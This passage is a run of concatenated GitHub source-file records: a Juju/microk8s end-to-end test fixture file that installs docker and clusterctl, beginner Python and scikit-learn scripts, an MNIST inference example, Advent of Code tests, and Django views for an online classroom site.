creds_bytes.decode(\"utf-8\")\n\n\n@pytest.fixture(scope=\"module\")\ndef dockerhub_username(request):\n if os.environ.get(\"DOCKERHUB_USERNAME\") is None:\n pytest.fail(\"Environment variable DOCKERHUB_USERNAME must be set\")\n return os.environ.get(\"DOCKERHUB_USERNAME\")\n\n\n@pytest.fixture(scope=\"module\")\ndef dockerhub_password(request):\n if os.environ.get(\"DOCKERHUB_PASSWORD\") is None:\n pytest.fail(\n \"Environment variable DOCKERHUB_PASSWORD must be set to your docker hub password or token\"\n )\n return os.environ.get(\"DOCKERHUB_PASSWORD\")\n\n\nclass Helpers:\n @staticmethod\n async def run_cmd(unit, cmd_desc, cmd_string, fail_msg, log_results=False):\n log.info(cmd_desc)\n action = await unit.run(cmd_string)\n action = await action.wait()\n if log_results:\n log.info(action.results)\n code = action.results.get(\"Code\", action.results.get(\"return-code\"))\n if code is None:\n log.error(f\"Failed to find the return code in {action.results}\")\n pytest.fail(f\"Failed to find the return code in {action.results}\")\n if code != 0:\n log.error(action.results)\n pytest.fail(fail_msg)\n\n\n@pytest.fixture(scope=\"module\")\ndef helpers():\n return Helpers\n\n\n@pytest.fixture(scope=\"module\")\nasync def microk8s_unit(\n ops_test, helpers, proxy, metallb_ip_range, dockerhub_username, dockerhub_password\n):\n await ops_test.model.set_config(\n {\n \"juju-http-proxy\": proxy,\n \"apt-http-proxy\": proxy,\n \"snap-http-proxy\": proxy,\n \"juju-https-proxy\": proxy,\n \"apt-https-proxy\": proxy,\n \"snap-https-proxy\": proxy,\n \"apt-no-proxy\": \"localhost,127.0.0.1,ppa.launchpad.net,launchpad.net\",\n \"juju-no-proxy\": \"localhost,127.0.0.1,0.0.0.0,ppa.launchpad.net,launchpad.net,10.0.8.0/24\",\n \"force-vm-hardware-version\": \"17\",\n }\n )\n\n charm_config = {}\n charm_config[\"containerd_env\"] = \"\\n\".join(\n [\n \"ulimit -n 65536 || true\",\n \"ulimit -l 16834 || true\",\n f\"HTTP_PROXY={proxy}\",\n f\"HTTPS_PROXY={proxy}\",\n \"NO_PROXY=localhost,127.0.0.1,0.0.0.0,ppa.launchpad.net,launchpad.net,10.0.8.0/24,192.168.0.0/16,10.246.154.0/24,10.246.153.0/24,10.152.183.0/24\",\n f\"https_proxy=h{proxy}\",\n f\"http_proxy={proxy}\",\n \"no_proxy=localhost,127.0.0.1,0.0.0.0,ppa.launchpad.net,launchpad.net,10.0.8.0/24,192.168.0.0/16,10.246.154.0/24,10.246.153.0/24,10.152.183.0/24\",\n ]\n )\n charm_config[\n \"custom_registries\"\n ] = f'[{{\"host\": \"docker.io\", \"url\": \"registry-1.docker.io\", \"username\": \"{dockerhub_username}\", \"password\": \"{dockerhub_password}\"}}]'\n charm_config[\"addons\"] = \"dns ingress registry\"\n log.info(\"Deploying charm...\")\n\n microk8s_app = await ops_test.model.deploy(\n \"microk8s\",\n application_name=\"microk8s\",\n series=\"focal\",\n channel=\"edge\", # need edge for custom registries\n config=charm_config,\n constraints=\"mem=4G root-disk=20G cores=2\",\n num_units=1,\n )\n await ops_test.model.wait_for_idle(status=\"active\", timeout=60 * 60)\n\n unit = microk8s_app.units[0]\n\n # For some reason enabling metallb via addons config does not seem to work (maybe because the of the colon arguments to the addon)\n # workaround is to just run the enable command on the unit\n await helpers.run_cmd(\n unit,\n \"Enabling metallb...\",\n f\"/snap/bin/microk8s enable metallb:{metallb_ip_range}\",\n \"Failed to enable metallb\",\n )\n\n await ops_test.model.wait_for_idle(status=\"active\", timeout=60 * 60)\n\n return unit\n\n\n@pytest.fixture(scope=\"module\")\nasync def cloned_branches(\n ops_test,\n helpers,\n microk8s_unit,\n proxy,\n infra_branch,\n control_plane_branch,\n bootstrap_branch,\n):\n await helpers.run_cmd(\n microk8s_unit,\n \"Setting git http proxy settings...\",\n f\"git config --system http.proxy {proxy} && git config --system https.proxy {proxy}\",\n \"Failed to set git proxy settings\",\n )\n\n await helpers.run_cmd(\n microk8s_unit,\n \"Cloning infra provider...\",\n f\"git clone -b {infra_branch} https://github.com/charmed-kubernetes/cluster-api-provider-juju.git /home/ubuntu/providers/infra\",\n \"Failed to clone infra provider\",\n )\n\n await helpers.run_cmd(\n microk8s_unit,\n \"Cloning control plane provider...\",\n f\"git clone -b {control_plane_branch} https://github.com/charmed-kubernetes/cluster-api-control-plane-provider-charmed-k8s.git /home/ubuntu/providers/control-plane\",\n \"Failed to clone clone control plane provider\",\n )\n\n await helpers.run_cmd(\n microk8s_unit,\n \"Cloning bootstrap provider...\",\n f\"git clone -b {bootstrap_branch} https://github.com/charmed-kubernetes/cluster-api-bootstrap-provider-charmed-k8s.git /home/ubuntu/providers/bootstrap\",\n \"Failed to clone clone bootstrap provider\",\n )\n\n\n@pytest.fixture(scope=\"module\")\nasync def build_dependencies(ops_test, helpers, microk8s_unit, proxy):\n await helpers.run_cmd(\n microk8s_unit,\n \"Installing build-essential...\",\n \"apt-get install -y build-essential\",\n \"Failed to install build-essential\",\n )\n\n await helpers.run_cmd(\n microk8s_unit,\n \"Downloading clusterctl...\",\n f\"curl -L --proxy {proxy} https://github.com/kubernetes-sigs/cluster-api/releases/download/v1.4.2/clusterctl-linux-amd64 -o clusterctl\",\n \"Failed to download clusterctl\",\n )\n\n await helpers.run_cmd(\n microk8s_unit,\n \"Installing clusterctl...\",\n \"install -o root -g root -m 0755 clusterctl /usr/local/bin/clusterctl\",\n \"Failed to install clusterctl\",\n )\n\n await helpers.run_cmd(\n microk8s_unit,\n \"Checking clusterctl version...\",\n \"clusterctl version\",\n \"Failed to check clusterctl version\",\n True,\n )\n\n await helpers.run_cmd(\n microk8s_unit,\n \"Installing go...\",\n \"snap install go --channel 1.19/stable --classic\",\n \"Failed to install go snap\",\n )\n\n\n@pytest.fixture(scope=\"module\")\nasync def docker(ops_test, helpers, microk8s_unit, proxy):\n await helpers.run_cmd(\n microk8s_unit,\n \"Installing docker installation requirements...\",\n \"apt-get install -y ca-certificates curl gnupg\",\n \"Failed to install docker installation requirements\",\n )\n\n await helpers.run_cmd(\n microk8s_unit,\n \"Adding Docker GPG Key...\",\n f\"sudo install -m 0755 -d /etc/apt/keyrings && curl -fsSL --proxy {proxy} https://download.docker.com/linux/ubuntu/gpg | gpg --dearmor -o /etc/apt/keyrings/docker.gpg && chmod a+r /etc/apt/keyrings/docker.gpg\",\n \"Failed to add docker GPG key\",\n )\n\n await helpers.run_cmd(\n microk8s_unit,\n \"Adding Docker repository...\",\n 'echo \"deb [arch=\"$(dpkg --print-architecture)\" signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/ubuntu \"$(. /etc/os-release && echo \"$VERSION_CODENAME\")\" stable\" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null',\n \"Failed to add docker repository\",\n )\n\n await helpers.run_cmd(\n microk8s_unit,\n \"Installing docker...\",\n \"apt-get update && apt-get install -y docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin\",\n \"Failed to install docker\",\n )\n\n await helpers.run_cmd(\n microk8s_unit,\n \"Creating systemd service configuration file for docker...\",\n \"sudo mkdir -p /etc/systemd/system/docker.service.d && touch /etc/systemd/system/docker.service.d/http-proxy.conf\",\n \"Failed to create docker configuration file\",\n )\n\n await helpers.run_cmd(\n microk8s_unit,\n \"Editing systemd service configuration file for docker...\",\n f'echo -e \"[Service]\\nEnvironment=\"HTTP_PROXY={proxy}\"\\nEnvironment=\"HTTPS_PROXY={proxy}\"\\nEnvironment=\"NO_PROXY=localhost\"\\n\" >> /etc/systemd/system/docker.service.d/http-proxy.conf',\n \"Failed to edit configuration file\",\n )\n\n await helpers.run_cmd(\n microk8s_unit,\n \"Restarting docker...\",\n \"sudo systemctl daemon-reload && sudo systemctl restart docker\",\n \"Failed to restart docker\",\n )\n","repo_name":"charmed-kubernetes/cluster-api-charmed-k8s-e2e","sub_path":"tests/e2e/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":10688,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"22342017556","text":"from collections import Counter\nfrom collections import defaultdict\nfrom collections import OrderedDict\nfrom collections import namedtuple\nfrom collections import deque\n\n\nfriends = [\n {\n 'name':'Rolf',\n 'location': 'Washington D.C.'\n },\n {\n 'name': 'Charlie',\n 'location':'San Francisco'\n },\n {\n 'name': 'Jose',\n 'location': 'San Francisco'\n },\n {\n 'name': 'Anna',\n 'location': 'San Francisco'\n }\n]\n\nyour_location = input('Where are you right now? ')\nfriends_nearby = [friend for friend in friends if friend ['location'] == your_location]\n\nif any(friends_nearby):\n print('You are not alone')\n\n\n\"\"\"\ncounter\ndefaultdict\norderdict\nnamedtuple\ndeque\n\"\"\"\n\n\ndevice_temperatures = [13.5, 14.0, 14.5, 14.5, 15.0, 16.0, 18.0, 14.0 ]\n\ntemperature_counter = Counter(device_temperatures)\nprint(temperature_counter[14.0])\n\n\ncoworkers = [('Rolf', 'Mit'), ('Jen', 'Oxford'), ('Charlie', 'Manchester'), ('Anne', 'Yale'), ('Rolf', 'Cambridge')]\n\nalma_mater = defaultdict(list)\n\nfor coworker, place in coworkers:\n alma_mater[coworker].append(place)\n\n\nprint(alma_mater['Rolf'])\n\n\nmy_company = 'Teclado'\n\ncoworkers = ['Jen', 'Li', 'Charlie', 'Rhys']\nother_coworkers = [('Rolf', 'Apple Inc'), ('Anna', 'Google')]\n\ncoworkers_company = defaultdict(lambda : my_company)\n\nfor person, company in other_coworkers:\n coworkers_company[person] = company\n\n\nprint(coworkers_company[coworker[0]])\nprint(coworkers_company['Rolf'])\n\n\no = OrderedDict()\no['Rolf'] = 6\no['Jose'] = 12\no['Jen'] = 3\n\nprint(o)\n\no.move_to_end('Rolf')\no.move_to_end('Jen', last=False)\n\nprint(o)\n\no.popitem()\n\nprint(o)\n\n\nunnamed_account = ('checking', 1850.00)\n\nAccount = namedtuple('Account', ['name', 'balance'])\naccount = Account('checking', 1850.90)\naccountNamedTuple = Account(* account)\nprint(accountNamedTuple._asdict())\n\n\nPeople = deque(('Rolf', 'Charlie', 'Jen', 'Anna'))\nPeople.append('Jose')\nPeople.appendleft('Anthony')\n\nprint(People)\n","repo_name":"faithmso/AdvancedPython2","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1974,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"18785883392","text":"\nimport pandas as pd\nimport numpy as np\nimport os\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.model_selection import cross_validate\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.tree import plot_tree\nimport matplotlib.pyplot as plt\nfrom sklearn.model_selection import StratifiedKFold\nfrom sklearn.model_selection import GridSearchCV\nfrom scipy.stats import uniform, randint\nfrom sklearn.model_selection import RandomizedSearchCV\n\npath = os.getcwd()\npath = path + '/data/'\n\nwine = pd.read_csv(path+'wine.csv')\nwine.head()\nwine.info()\nwine.describe()\n\ndata = wine[['alcohol','sugar','pH']].to_numpy()\ntarget = wine['class'].to_numpy()\ntrain_input, test_input, train_target, test_target = train_test_split(data, target, test_size=0.2, random_state=42)\n\nprint(train_input.shape, test_input.shape)\n\nss = StandardScaler()\nss.fit(train_input)\n\ntrain_scaled = ss.transform(train_input)\ntest_scaled = ss.transform(test_input)\n\nlr = LogisticRegression()\nlr.fit(train_scaled, train_target)\n\nprint(lr.score(train_scaled,train_target))\nprint(lr.score(test_scaled,test_target))\n\nprint(lr.coef_, lr.intercept_)\n\ndt = DecisionTreeClassifier(random_state=42)\ndt.fit(train_scaled,train_target)\nprint(dt.score(train_scaled,train_target))\nprint(dt.score(test_scaled,test_target))\n\nplt.figure(figsize=(10,7))\nplot_tree(dt)\nplt.show()\n\nplt.figure(figsize=(10,7))\nplot_tree(dt, max_depth=1, filled=True, feature_names=['alcohol','sugar','pH'])\nplt.show()\n\ndt = DecisionTreeClassifier(max_depth=3, random_state=42)\ndt.fit(train_scaled,train_target)\n\nplt.figure(figsize=(20,15))\nplot_tree(dt, filled=True, feature_names=['alcohol','sugar','pH'])\nplt.show()\n\nprint(dt.feature_importances_)\n\ndt = DecisionTreeClassifier(min_impurity_decrease=0.0005,random_state=42)\ndt.fit(train_scaled,train_target)\n\nprint(dt.score(train_input, train_target))\nprint(dt.score(test_input, test_target))\n\nplt.figure(figsize=(20,15), dpi=300)\nplot_tree(dt, filled=True, feature_names=['alcohol', 'sugar', 'pH'])\nplt.show()\n\ntrain_input, test_input, train_target, test_target = train_test_split(data, target, test_size=0.2, random_state=42)\nsub_input, val_input, sub_target, val_target = train_test_split(train_input, train_target, test_size=0.2, random_state=42)\n\ndt = DecisionTreeClassifier(random_state=42)\ndt.fit(sub_input,sub_target)\nprint(dt.score(sub_input,sub_target))\nprint(dt.score(val_input, val_target))\n\nscores = cross_validate(dt,train_input,train_target)\nprint(scores)\n\nprint(np.mean(scores['test_score']))\n\nscores = cross_validate(dt, train_input, train_target, cv=StratifiedKFold())\nprint(np.mean(scores['test_score']))\n\nsplitter = StratifiedKFold(n_splits=10, shuffle=True, random_state=42)\nscores = cross_validate(dt, train_input, train_target, cv=splitter)\nprint(np.mean(scores['test_score']))\n\nparams = {'min_impurity_decrease' : [0.0001, 0.0002, 0.0003, 0.0004, 0.0005]}\n\ngs = GridSearchCV(DecisionTreeClassifier(random_state=42), params, n_jobs=-1)\ngs.fit(train_input, train_target)\n\ndt = gs.best_estimator_\nprint(dt.score(train_input, train_target))\n\nprint(gs.best_params_)\nprint(gs.cv_results_['mean_test_score'])\n\nparams = {'min_impurity_decrease' : np.arange(0.0001, 0.001, 0.0001),\n 'max_depth' : range(5,20,1),\n 'min_samples_split' : range(2,100,10)}\n\ngs = GridSearchCV(DecisionTreeClassifier(random_state=100),params,n_jobs=-1)\ngs.fit(train_input,train_target)\nprint(gs.best_params_)\nprint(np.max(gs.cv_results_['mean_test_score']))\n\nrgen = randint(0,10)\nprint(rgen.rvs(10))\n\nnp.unique(rgen.rvs(1000),return_counts=True)\n\nugen = uniform(0,1)\nprint(ugen.rvs(10))\n\nparams = {'min_impurity_decrease':uniform(0.0001,0.001),\n 'max_depth': randint(20,50),\n 'min_samples_split': randint(2,25),\n 'min_samples_leaf': randint(1,25)}\n\ngs = RandomizedSearchCV(DecisionTreeClassifier(random_state=42), params, n_iter=100, n_jobs=-1, random_state=42)\ngs.fit(train_input, train_target)\n\nprint(gs.best_params_)\nprint(np.max(gs.cv_results_['mean_test_score']))\n\ndt = gs.best_estimator_\nprint(dt.score(test_input, test_target))","repo_name":"Baedoli/AIUlsan","sub_path":"bigdata/DeepLearning/ML009.py","file_name":"ML009.py","file_ext":"py","file_size_in_byte":4174,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"1027342678","text":"#!/usr/bin/python\r\n\r\nimport PIL\r\nimport os\r\nimport sys\r\nfrom PIL import Image\r\nfrom PIL import ImageFile\r\n\r\npath = sys.argv[1]\r\nratio = float(sys.argv[2])\r\nheight_l = int(sys.argv[3])\r\nheight_s = int(sys.argv[4])\r\n\r\nwidth_l = int(height_l / ratio)\r\nwidth_s = int(height_s / ratio)\r\n\r\nImageFile.LOAD_TRUNCATED_FILES = True\r\n\r\nfor fname in os.listdir(path):\r\n if 'Small' not in fname and 'ICON' not in fname and 'Large' not in fname:\r\n try:\r\n img = Image.open(path + '/' + fname)\r\n img_s = img.resize((width_s,height_s), PIL.Image.ANTIALIAS)\r\n img_s.save(path + '/' + fname.replace(\".jpg\", \"_Small.jpg\"), optimize = True, quality = 75)\r\n\r\n img_l = img.resize((width_l,height_l), PIL.Image.ANTIALIAS)\r\n img_l.save(path + '/' + fname.replace(\".jpg\", \"_Large.jpg\"), optimize = True, quality = 85)\r\n\r\n os.remove(path + '/' + fname)\r\n \r\n except Exception:\r\n pass\r\n","repo_name":"dani3/Cuoka","sub_path":"WebScraper/scripts/resizeProducts.py","file_name":"resizeProducts.py","file_ext":"py","file_size_in_byte":962,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"14589109484","text":"# coding: utf-8\n# ニューラルネットワークの推論処理\n\nimport sys\nimport os\nimport numpy as np\nimport pickle\nfrom dataset.mnist import load_mnist\nfrom common.functions import sigmoid, softmax\n\nsys.path.append(os.pardir)\n\n\ndef get_data():\n (x_train, t_train), (x_test, t_test) = load_mnist(normalize=True, flatten=True, one_hot_label=False)\n return x_test, t_test\n\n\ndef init_network():\n with open(\"sample_weight.pkl\", 'rb') as f:\n network = pickle.load(f)\n return network\n\n\ndef predict(network, x):\n W1, W2, W3 = network['W1'], network['W2'], network['W3']\n b1, b2, b3 = network['b1'], network['b2'], network['b3']\n\n a1 = np.dot(x, W1) + b1\n z1 = sigmoid(a1)\n a2 = np.dot(z1, W2) + b2\n z2 = sigmoid(a2)\n a3 = np.dot(z2, W3) + b3\n y = softmax(a3)\n\n return y\n\n\ndef main():\n # 学習データと正解ラベルの読み込み\n x, t = get_data()\n\n # 学習済みパラメータの読み込み\n network = init_network()\n\n accuracy_cnt = 0\n for i in range(len(x)):\n y = predict(network, x[i])\n p = np.argmax(y) # 最も確率の高い要素のインデックスを取得\n print(\"[+] Predict: %d, Label:%d, Result: \" % (p, t[i]), end='')\n if p == t[i]:\n accuracy_cnt += 1\n print(\"OK\")\n else:\n print(\"NG\")\n\n # 正答率の出力\n print(\"Accuracy:\" + str(float(accuracy_cnt) / len(x)))\n\n\nif __name__ == '__main__':\n main()\n\n\n","repo_name":"sonickun/deep-learning-fullscratch","sub_path":"sample/neruralnet_mnist.py","file_name":"neruralnet_mnist.py","file_ext":"py","file_size_in_byte":1470,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"27625930748","text":"import unittest\n\nfrom contextlib import contextmanager\nfrom unittest import TestCase\nfrom unittest.mock import patch\n\nfrom advent_of_code.year_2021.day_02 import (part_1,\n part_2)\n\n\n@contextmanager\ndef mocked_get_input(year, day):\n yield \"forward 5\\ndown 5\\nforward 8\\nup 3\\ndown 8\\nforward 2\"\n\nclass TestExamples(TestCase):\n\n @classmethod\n def setUpClass(cls):\n \n # We set up the same fixture input for all test case(part 1 and 2), py>=3.11\n cls.enterClassContext(\n patch('advent_of_code.year_2021.day_02.part_1.get_input', side_effect=mocked_get_input))\n cls.enterClassContext(\n patch('advent_of_code.year_2021.day_02.part_2.get_input', side_effect=mocked_get_input))\n\n super().setUpClass()\n\n def test_part1(self):\n \"\"\"Test if example from part 1 problem statement works\"\"\"\n position, depth, product = part_1.main()\n self.assertEqual(position, 15)\n self.assertEqual(depth, 10)\n self.assertEqual(product, 150)\n\n def test_part2(self):\n \"\"\"Test if example from part 1 problem statement works\"\"\"\n position, depth, product = part_2.main()\n self.assertEqual(position, 15)\n self.assertEqual(depth, 60)\n self.assertEqual(product, 900)\n\nif __name__ == \"__main__\":\n unittest.main()","repo_name":"x0s/advent-of-code","sub_path":"tests/2021/test_day_02.py","file_name":"test_day_02.py","file_ext":"py","file_size_in_byte":1362,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"} +{"seq_id":"26281299393","text":"from django.contrib import messages\nfrom django.contrib.auth import authenticate, login, logout\nfrom django.core.mail import send_mail\nfrom django.core.paginator import Paginator, EmptyPage, PageNotAnInteger\nfrom django.db.models import Count, Q\nfrom django.shortcuts import get_object_or_404, redirect, render\nfrom django.views.generic import DetailView\nfrom random import sample\nfrom .raw_sql import get_popular_courses\nfrom .teachers import get_enrollment_requests_count\nfrom ..forms import ContactUsForm, SearchCourses, UserLoginForm\nfrom ..models import (Course, Lesson, MyFile, Quiz, Student,\n Subject, TakenQuiz, User, UserLog)\n\n\ndef do_paginate(data_list, page_number, results_per_page):\n ret_data_list = data_list\n # build the paginator object.\n paginator = Paginator(data_list, results_per_page)\n try:\n # get data list for the specified page_number.\n ret_data_list = paginator.page(page_number)\n except EmptyPage:\n # get the lat page data if the page_number is bigger than last page number.\n ret_data_list = paginator.page(paginator.num_pages)\n except PageNotAnInteger:\n # if the page_number is not an integer then return the first page data.\n ret_data_list = paginator.page(1)\n return [ret_data_list, paginator]\n\n\ndef get_suggested_courses(page_course_id, current_subject_id=None, subject_interests=None):\n \"\"\"Gets the suggested courses.\n If a student is logged in, suggestions are based on his/her interests.\n Else, suggestions are based on subject.\"\"\"\n course_ids = None\n if current_subject_id is not None:\n course_ids = tuple(Course.objects.values_list('id', flat=True)\n .filter(subject_id=current_subject_id, status='approved')\n .exclude(id=page_course_id))[:3]\n\n if subject_interests is not None:\n course_ids = tuple(Course.objects.values_list('id', flat=True)\n .filter(subject__in=subject_interests, status='approved')\n .exclude(id=page_course_id))[:3]\n\n return Course.objects.filter(id__in=sample(course_ids, len(course_ids)))\n\n\ndef get_user_type(user):\n if user.is_student:\n return 'student'\n elif user.is_teacher:\n return 'teacher'\n elif user.is_staff:\n return 'admin'\n\n\nclass CourseDetailView(DetailView):\n model = Course\n context_object_name = 'course'\n template_name = 'classroom/course_details.html'\n\n def get_context_data(self, **kwargs):\n student = None\n teacher = None\n kwargs['title'] = self.get_object()\n kwargs['lessons'] = Lesson.objects.select_related('quizzes') \\\n .select_related('course') \\\n .filter(course__id=self.kwargs['pk']) \\\n .order_by('number')\n kwargs['quizzes'] = Quiz.objects.filter(course_id=self.kwargs['pk']) \\\n .order_by('lesson__number')\n kwargs['files'] = MyFile.objects.filter(course_id=self.kwargs['pk']) \\\n .order_by('file')\n\n if self.request.user.is_authenticated:\n if self.request.user.is_student:\n teacher = None\n # if the logged in user is a student, check if he/she is enrolled in the displayed course\n student = self.request.user.student.taken_courses.values('id', 'status') \\\n .filter(course__id=self.kwargs['pk']).first()\n\n kwargs['taken_quizzes'] = TakenQuiz.objects \\\n .filter(student=self.request.user.student, course_id=self.kwargs['pk'])\n\n taken_quiz_count = TakenQuiz.objects.filter(student_id=self.request.user.pk,\n course_id=self.kwargs['pk']) \\\n .values_list('id', flat=True).count()\n quiz_count = Quiz.objects.filter(course_id=self.kwargs['pk']) \\\n .values_list('id', flat=True).count()\n\n kwargs['progress'] = (taken_quiz_count / quiz_count) * 100 if quiz_count != 0 else 0\n\n subject_interests = Student.objects.values_list('interests').filter(pk=self.request.user)\n kwargs['related_courses'] = get_suggested_courses(self.kwargs['pk'],\n subject_interests=subject_interests)\n\n kwargs['course'] = get_object_or_404(Course.objects.filter(status='approved'),\n pk=self.kwargs['pk'])\n\n elif self.request.user.is_teacher:\n student = None\n # if the logged in user is a teacher, check if he/she owns the displayed course\n teacher = self.request.user.courses.values_list('id', flat=True) \\\n .filter(id=self.kwargs['pk']).first()\n\n kwargs['enrollment_request_count'] = get_enrollment_requests_count(self.request.user)\n kwargs['course'] = get_object_or_404(Course.objects.exclude(status='deleted'),\n pk=self.kwargs['pk'])\n\n current_subject = kwargs['course'].subject_id\n kwargs['related_courses'] = get_suggested_courses(self.kwargs['pk'],\n current_subject_id=current_subject)\n\n else:\n kwargs['course'] = get_object_or_404(Course.objects.filter(status='approved'),\n pk=self.kwargs['pk'])\n\n current_subject = kwargs['course'].subject_id\n kwargs['related_courses'] = get_suggested_courses(self.kwargs['pk'],\n current_subject_id=current_subject)\n\n kwargs['enrolled'] = student\n kwargs['owns'] = True if teacher else None\n\n return super().get_context_data(**kwargs)\n\n\ndef about(request):\n if request.user.is_authenticated:\n if request.user.is_teacher:\n return redirect('teachers:course_change_list')\n elif request.user.is_student:\n return redirect('students:mycourses_list')\n\n context = {\n 'title': 'About Us',\n 'courses': Course.objects.values_list('id', flat=True)\n .filter(status__iexact='approved').count(),\n 'students': User.objects.values_list('id', flat=True)\n .filter(is_student=True, is_active=True).count(),\n 'teachers': User.objects.values_list('id', flat=True)\n .filter(is_teacher=True, is_active=True).count(),\n 'quizzes': Quiz.objects.values_list('id', flat=True)\n .all().count()\n }\n\n return render(request, 'classroom/about.html', context)\n\n\ndef browse_courses(request):\n if request.user.is_authenticated and request.user.is_teacher:\n enrollment_requests_count = get_enrollment_requests_count(request.user)\n else:\n enrollment_requests_count = None\n\n query = None\n subjects = Subject.objects.all()\n courses = Course.objects.filter(status__iexact='approved') \\\n .annotate(taken_count=Count('taken_courses',\n filter=Q(taken_courses__status='enrolled'),\n distinct=True)) \\\n .order_by('title')\n\n page_number = request.GET.get('page', 1)\n paginate_result = do_paginate(courses, page_number, 9)\n course_list = paginate_result[0]\n paginator = paginate_result[1]\n base_url = '/browse-courses/?'\n\n if 'search' in request.GET:\n form = SearchCourses(request.GET)\n if form.is_valid():\n query = form.cleaned_data.get('search')\n courses = Course.objects.filter(Q(title__icontains=query) |\n Q(code__icontains=query) |\n Q(description__icontains=query)) \\\n .filter(status__iexact='approved') \\\n .annotate(taken_count=Count('taken_courses',\n filter=Q(taken_courses__status='enrolled'),\n distinct=True))\n\n paginate_result = do_paginate(courses, page_number, 9)\n course_list = paginate_result[0]\n paginator = paginate_result[1]\n base_url = f'/browse-courses/?search={query}&'\n\n if request.user.is_authenticated:\n UserLog.objects.create(action=f'Searched for \"{query}\"',\n user_type=get_user_type(request.user),\n user=request.user)\n enrollment_requests_count = get_enrollment_requests_count(request.user)\n else:\n form = SearchCourses()\n\n context = {\n 'title': 'Browse Courses',\n 'form': form,\n 'courses': course_list,\n 'paginator': paginator,\n 'search_str': query,\n 'subjects': subjects,\n 'base_url': base_url,\n 'enrollment_request_count': enrollment_requests_count\n }\n return render(request, 'classroom/students/courses_list.html', context)\n\n\ndef browse_courses_subject(request, subject_pk):\n if request.user.is_authenticated and request.user.is_teacher:\n enrollment_requests_count = get_enrollment_requests_count(request.user)\n else:\n enrollment_requests_count = None\n\n courses = Course.objects.filter(status__iexact='approved', subject_id=subject_pk) \\\n .annotate(taken_count=Count('taken_courses',\n filter=Q(taken_courses__status='enrolled'),\n distinct=True)) \\\n .order_by('title')\n\n page_number = request.GET.get('page', 1)\n paginate_result = do_paginate(courses, page_number, 9)\n course_list = paginate_result[0]\n paginator = paginate_result[1]\n base_url = f'/browse-courses/{subject_pk}/?'\n\n query = None\n subjects = Subject.objects.all()\n\n if 'search' in request.GET:\n form = SearchCourses(request.GET)\n if form.is_valid():\n query = form.cleaned_data.get('search')\n courses = Course.objects.filter(Q(title__icontains=query) |\n Q(code__icontains=query) |\n Q(description__icontains=query)) \\\n .filter(status__iexact='approved') \\\n .annotate(taken_count=Count('taken_courses',\n filter=Q(taken_courses__status='enrolled'),\n distinct=True))\n\n paginate_result = do_paginate(courses, page_number, 9)\n course_list = paginate_result[0]\n paginator = paginate_result[1]\n base_url = f'/browse-courses/{subject_pk}/?search={query}&'\n\n if request.user.is_authenticated:\n UserLog.objects.create(action=f'Searched for \"{query}\"',\n user_type=get_user_type(request.user),\n user=request.user)\n enrollment_requests_count = get_enrollment_requests_count(request.user)\n else:\n form = SearchCourses()\n\n context = {\n 'title': 'Browse Courses',\n 'form': form,\n 'courses': course_list,\n 'paginator': paginator,\n 'search_str': query,\n 'subjects': subjects,\n 'base_url': base_url,\n 'enrollment_request_count': enrollment_requests_count\n }\n return render(request, 'classroom/students/courses_list_subject.html', context)\n\n\ndef contact_us(request):\n form = None\n if request.user.is_authenticated:\n if request.user.is_teacher:\n return redirect('teachers:course_change_list')\n elif request.user.is_student:\n return redirect('students:mycourses_list')\n elif request.user.is_staff:\n return redirect('staff:dashboard')\n else:\n if request.method == 'POST':\n form = ContactUsForm(request.POST)\n if form.is_valid():\n subject = form.cleaned_data['subject']\n message = form.cleaned_data['message']\n sender = form.cleaned_data['email']\n cc_myself = form.cleaned_data['cc_myself']\n\n recipients = ['digiwiz.sq@gmail.com']\n if cc_myself:\n recipients.append(sender)\n\n try:\n send_mail(subject, message, sender, recipients)\n\n messages.success(request, 'You successfully sent an email to us. '\n 'Please wait for a response in your email, thank you.')\n\n return redirect('contact_us')\n except Exception:\n messages.error(request, 'An unexpected error has occurred. Please try again.')\n\n return redirect('contact_us')\n else:\n form = ContactUsForm()\n\n return render(request, 'classroom/contact.html', {'title': 'Contact Us', 'form': form})\n\n\ndef home(request):\n if request.user.is_authenticated:\n if request.user.is_teacher:\n return redirect('teachers:course_change_list')\n elif request.user.is_student:\n return redirect('students:mycourses_list')\n elif request.user.is_staff:\n return redirect('staff:dashboard')\n else:\n context = {\n 'popular_courses': Course.objects.raw(get_popular_courses()),\n 'subjects': Subject.objects.all().order_by('name')\n }\n\n return render(request, 'classroom/home.html', context)\n\n\ndef login_view(request):\n next_link = request.GET.get('next')\n form = UserLoginForm(request.POST or None)\n\n if request.user.is_authenticated:\n return redirect('home')\n else:\n if form.is_valid():\n username = form.cleaned_data.get('username')\n password = form.cleaned_data.get('password')\n user = authenticate(username=username, password=password)\n login(request, user)\n\n if next_link:\n return redirect(next_link)\n else:\n return redirect('/')\n\n return render(request, 'authentication/login.html', {'form': form, 'title': 'Login'})\n\n\ndef logout_view(request):\n logout(request)\n return redirect('/')\n\n\ndef register_page(request):\n if request.user.is_authenticated:\n return redirect('home')\n return render(request, 'authentication/register.html', {'title': 'Register'})\n","repo_name":"cmagarap/django-digiwiz","sub_path":"classroom/views/classroom.py","file_name":"classroom.py","file_ext":"py","file_size_in_byte":14639,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"77"} +{"seq_id":"15054993272","text":"import pandas as pd\nimport sklearn as sk\n#print('pandas ' + pd.__version__)\n#print('sklearn ' + sk.__version__)\n\n\ncgm_raw = pd.read_csv(r'CGMData.csv', index_col = 0, low_memory=False)\ncgm_raw['datetime'] = 